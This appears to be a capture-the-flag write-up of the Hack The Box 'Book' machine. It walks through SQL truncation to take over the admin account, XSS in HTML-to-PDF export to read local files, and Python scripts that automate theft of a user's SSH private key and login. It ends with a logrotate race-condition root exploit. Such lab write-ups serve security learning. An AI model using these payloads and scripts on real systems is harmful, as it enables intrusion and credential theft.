This Box is a Medium Level Box from Hack The Box. It’s a little bit hard to explore it, it’s level is seted as Medium. The entry point is trough a SSH key which you get with a LFI on the server.
The authentication bypass is with a SQL Truncation attack on the admin@book.htb, which accepts just 20 characteres on it.
The LFI you get with a XSS and HTML to PDF conversion. The scripts to automate everything is on the post.
The root shell you get with a logrorate vulnerability, a race condition with root execution.
Diagram
Here is the diagram for this machine. It’s a resume from it.
graph TD
A[Enumeration] -->|Nmap - Gobuster| B(Sign In)
B --> |SQL Truncation| C[Auth Bypass]
C --> |JS XSS Upload| D(LFI)
D --> |Python Script| E[Automated Reverse Shell - SSH KEY]
E --> |SSH| F[reader shell]
F --> |Logrorate| G[root]
Enumeration
First step is to enumerate the box. For this we’ll use nmap
1
nmap -sV -sC -Pn 10.10.10.176
-sV - Services running on the ports
-sC - Run some standart scripts
-Pn - Consider the host alive
Port 80
Once we found just the port 80 opened, so let’s focus on this one to enumerate it.
We open it on the browser and see what is being shown.
When tryied to access 10.10.10.76 on the browser.
We see on the source code something interesting
It seems to validate if the username has in the max 20 characters. We’ll explore it better in the future, but is good take notes of it.
It seems to be a library page
We create a page to connect in it
Now, we login
We look arround it, we got a file upload and something more but nothing exploitable now.
We start a directory fuzzing
1
gobuster dir -u http://10.10.10.176 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 40
We got some more new folders to look at
/admin
If we try to put our credentials on it, it pops up an error message
Reader shell
The first thing we need to do is the Auth Byppass on this website. For this, we will use a technique called SQL Truncation Attack
.
The main idea for this kind of attack is that the SQL Query is larger than what the SQL Field are waiting for. On the website, the app probably is making two requests, one to verify if the user already exists, something we can imagine like SELECT * from users WHERE email = INPUT_EMAIL ;
. If the response of this query on the sql is 0, seems that this user does not exist, so, we will add it on the server with a query like INSERT into users (email, username, password) VALUES (input_email, input_username, input_password);
to add the user.
Always when you define the text field in a SQL database, you must define the max lentgh of this field. This attacks checks when the input in longer than it. In this case, if the field of the username has more than 16 characters, the attack will happen if you send a field with more than 16 characters and after it a plus sign with a valid account and other password you want. The first query will return 0, always, and the second one will be executed. If the site just check the login and password, we can byppass the auth here, because the row in the table will be duplicated with a new password.
First, let’s try to get the admin e-mail to attack it
Yep, we got the admin e-mail to perform the attack.
We see on the burp the proper query
name=0x4rt3mis&email=admin%40book.htb&password=123456
We can also bruteforce it with hydra or wfuzz to try to get more users, but it’s not needed here.
We send it to Repeater, to play with it
name=0x4rt3mis&email=admin%40book.htb++++++.&password=123456
When we send a +. I get a 302, which seems to work. But when I try to login on the app, does not work
So I keep increasing the lenght of the + signs and got it. That tells me the max string size in the DB is 20. So when the . is in position 21, it’s dropped, and I registered a user as admin@book.htb
Now, we can log with the credentials 123456 on the admin panel
We see a lot of .php pages here to play with
users.php
message.php
feedback.php
collections.php
Things Failed
I tried a lot of stuff in this php files. But nothing seems to work.
I looked for:
SQLInjection in all forms.
XSS in all pages.
XSRF for GET and POST requests.
No success. =/
PDF - HTML - LFI
I found on the source code of collections.php something interesting
<a href="/admin/collections.php?type=users">PDF</a>
Seems that the when we Export the Collections on the admin table it’s rendering some kind of html. So we can exploit this using javascript.
So we start looking for it on the internet
We found to good references
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf
And
https://blog.noob.ninja/local-file-read-via-xss-in-dynamically-generated-pdf/
We found a good payload to test on the second one
1
2
3
4
5
6
7
8
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
One liner
1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
Now we try to put it on a collection and after export the PDF to see if it’s triggering the file read
And yes! We can read files using it
Ok, once we get it. Let’s automate this LFI to better enumerate the file system
Scripting
We get our skeleton in python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python3
import argparse
import requests
import sys
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
parser.add_argument('-u', '--username', help='Username to target', required=False)
parser.add_argument('-p', '--password', help='Password value to set', required=False)
args = parser.parse_args()
'''Here we call the functions'''
if __name__ == '__main__':
main()
1
python3 lfi_book.py -t 10.10.10.176 -f /etc/profile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python3
# Date: 2021-10-12
# Exploit Author: 0x4rt3mis
# Hack The Box - Book
# Get auto LFI on the server
# OBS: to parse the pdf you need to install tika
# pip install tika
# Wait 1 minute to clean the XSS
import argparse
import requests
import sys
import os
from tika import parser
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# First let's trigger the sql truncation
def adminBook(rhost):
url = "http://%s:80/index.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"name": "0x4rt3mis", "email": "admin@book.htb .", "password": "123456"}
r.post(url, headers=headers, data=data, proxies=proxies, allow_redirects=True)
# Now let's login as admin@book.htb
def loginAdminUpload(rhost,file):
url = "http://%s:80/index.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"email": "admin@book.htb", "password": "123456"}
r.post(url, headers=headers, data=data, proxies=proxies)
#Once logged in, let's upload the malicious payload
os.system('echo "aa" > 1.html')
url = 'http://%s:80/collections.php' %rhost
data = {'title':'<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file://%s");x.send();</script>' %file, 'author':'0x4rt3mis', 'Upload':'Upload'}
files = {'Upload':('1.html', open('1.jpg', 'rb'))}
r.post(url, data=data, files=files, proxies=proxies)
os.system('rm 1.html')
def readFileLFI(rhost):
# Login on admin panel
url = "http://%s:80/admin/" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"email": "admin@book.htb", "password": "123456"}
r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
# Now, let's donwload and parse the pdf
url = "http://%s/admin/collections.php?type=collections" %rhost
resp = r.get(url, cookies=r.cookies, proxies=proxies)
pdf = parser.from_buffer(resp.content)
print(pdf['content'].strip())
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
parser.add_argument('-f', '--file', help='File to be read', required=False)
args = parser.parse_args()
rhost = args.target
file = args.file
'''Here we call the functions'''
# Let's trigger the SQL Truncation
adminBook(rhost)
# Let's upload the malicious file
loginAdminUpload(rhost,file)
# Let's read the file
readFileLFI(rhost)
if __name__ == '__main__':
main()
SSH Key
After some good Enum, we found a ssh key from user reader
1
python3 lfi_book.py -t 10.10.10.176 -f /home/reader/.ssh/id_rsa
Now we log in
Let’s automate it all, to get a reverse shell auto
lfi_book.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/python3
# Date: 2021-10-09
# Exploit Author: 0x4rt3mis
# Hack The Box - Book
# Get auto ssh shell on the server
# OBS: to parse the pdf you need to install tika
# pip install tika
# Wait 1 minute to clean the XSS
import argparse
import requests
import sys
import os
from tika import parser
import re
'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()
'''Here come the Functions'''
# First let's trigger the sql truncation
def adminBook(rhost):
print("[+] Let's trigger the SQL Truncation! [+]")
url = "http://%s:80/index.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"name": "0x4rt3mis", "email": "admin@book.htb .", "password": "123456"}
r.post(url, headers=headers, data=data, proxies=proxies, allow_redirects=True)
print("[+] Doneee!! [+]")
# Now let's login as admin@book.htb
def loginAdminUpload(rhost,file):
print("[+] Let's upload the XSS to read the reader's ssh key! [+]")
url = "http://%s:80/index.php" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"email": "admin@book.htb", "password": "123456"}
r.post(url, headers=headers, data=data, proxies=proxies)
#Once logged in, let's upload the malicious payload
os.system('echo "aa" > 1.html')
url = 'http://%s:80/collections.php' %rhost
data = {'title':'<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file://%s");x.send();</script>' %file, 'author':'0x4rt3mis', 'Upload':'Upload'}
files = {'Upload':('1.html', open('1.html', 'rb'))}
r.post(url, data=data, files=files, proxies=proxies)
os.system('rm 1.html')
print("[+] Great, done!! [+]")
def readFileLFI(rhost):
print("[+] Let's read and save the ssh key !!! [+]")
# Login on admin panel
url = "http://%s:80/admin/" %rhost
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = {"email": "admin@book.htb", "password": "123456"}
r.post(url, headers=headers, cookies=r.cookies, data=data, proxies=proxies)
# Now, let's donwload and parse the pdf
url = "http://%s/admin/collections.php?type=collections" %rhost
resp = r.get(url, cookies=r.cookies, proxies=proxies)
pdf = parser.from_buffer(resp.content)
pdf = pdf['content'].strip()
pdf = re.sub('[ \t]+', ' ',pdf)
print("[+] Done! Now Let's connect!!!! [+]")
ssh_key = '/tmp/rsa_key'
f = open(ssh_key, 'a'); f.write(pdf); f.close()
os.system('chmod 400 /tmp/rsa_key')
os.system('sleep 3')
os.system('ssh -i /tmp/rsa_key reader@%s' %rhost)
def main():
# Parse Arguments
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
args = parser.parse_args()
rhost = args.target
file = '/home/reader/.ssh/id_rsa'
'''Here we call the functions'''
# Let's trigger the SQL Truncation
adminBook(rhost)
# Let's upload the malicious file
loginAdminUpload(rhost,file)
# Let's read the file
readFileLFI(rhost)
if __name__ == '__main__':
main()
reader -> root
Now let’s start our privilege escalation to root
The first thing we run pspy, because we noticed a backups
folder on the reader’s home directory which calls our attention
And we see something interesting, it’s running lograrate
It’s running a bash script on root’s folder. We don’t have access to it. After some research about it, we discovered that logrorate is used to move log files to backup files.
To test, we can write something to access.log, and see if it rotates in the next five seconds.
We noticed that something is happening here.
After some good time googling for how we can exploit it, and looking 0xdf blog and ippsec video, we found a blog which explains that there is a race condition in it, that we can exploit to get root access.
The logrorate in this case is performing something similar to this
mv access.log.1 access.log2
mv access.log access.log.1
touch access.log with ownership of reader:reader.
The race condition is that if an attacker can execute commands between 2 and 3 above to replace /home/reader/backup
with a symlink to somewhere else, then root will create a file in any folder the attacker wants on the system owned by the reader.
So, let’s try it with the exploit we got on the post
Because I know things are resetting every five seconds, we must act quickly, writing the log file and then running the exploit in one line:
1
echo 0x4rt3mis >> /home/reader/backups/access.log ;./logrotten -d -p root.sh /home/reader/backups/access.log
And we get root
Code Analysis
Now we should take a look at the code to understant it’s vulnerability. Not too much deep, but only to understand how it works.
If we look at index.php on admin folder html we see where the SQL Truncation comes from
On line 14 it gets rid of the spaces on the end of the e-mail if the e-mail is admin@book.htb, is that from where the sql truncation comes from.